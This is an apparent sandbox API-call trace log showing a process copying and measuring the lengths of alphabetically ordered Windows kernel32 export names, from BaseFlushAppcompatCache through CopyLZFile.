[0123.323] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0123.323] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0123.323] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0123.323] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0123.323] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0123.323] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0123.323] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0123.323] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0123.323] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0123.323] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0123.323] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0123.323] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0123.323] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0123.324] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0123.324] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0123.324] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0123.324] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0123.324] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0123.324] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0123.324] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0123.324] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0123.324] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0123.324] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0123.324] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0123.324] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0123.324] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0123.324] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0123.324] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0123.324] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0123.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0123.324] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0123.325] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0123.325] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0123.325] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0123.325] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0123.325] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0123.325] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0123.325] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0123.325] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0123.325] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0123.325] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0123.325] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0123.325] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0123.325] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0123.325] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0123.325] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0123.325] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0123.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0123.326] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0123.326] lstrlenA (lpString="BEEP") returned 4 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0123.326] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0123.326] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0123.326] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0123.326] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0123.326] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0123.326] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0123.326] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0123.326] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0123.326] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0123.326] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0123.326] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0123.326] lstrlenA (lpString="CANCELIO") returned 8 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0123.326] lstrlenA (lpString="CANCELIOEX") returned 10 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0123.326] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0123.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0123.326] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0123.327] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0123.327] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0123.327] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0123.327] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0123.327] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0123.327] lstrlenA (lpString="CHECKELEVATION") returned 14 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0123.327] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0123.327] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0123.327] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0123.327] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0123.327] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0123.327] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0123.327] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0123.327] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0123.327] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0123.327] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0123.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0123.328] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0123.328] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0123.328] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0123.328] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0123.328] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0123.328] lstrlenA (lpString="CLOSESTATE") returned 10 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0123.328] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0123.328] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0123.328] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0123.328] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0123.328] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0123.328] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0123.328] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0123.328] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0123.328] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0123.328] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0123.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0123.328] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0123.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0123.329] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0123.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0123.329] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0123.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0123.329] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0123.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0123.329] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0123.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0123.330] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0123.330] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0123.330] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0123.330] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0123.330] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0123.330] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0123.330] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0123.330] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0123.330] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0123.330] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0123.330] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0123.330] lstrlenA (lpString="COPYCONTEXT") returned 11 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0123.330] lstrlenA (lpString="COPYFILE2") returned 9 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0123.330] lstrlenA (lpString="COPYFILEA") returned 9 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0123.330] lstrlenA (lpString="COPYFILEEXA") returned 11 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0123.330] lstrlenA (lpString="COPYFILEEXW") returned 11 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0123.330] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0123.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0123.331] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0123.331] lstrlenA (lpString="COPYFILEW") returned 9 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0123.331] lstrlenA (lpString="COPYLZFILE") returned 10 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, 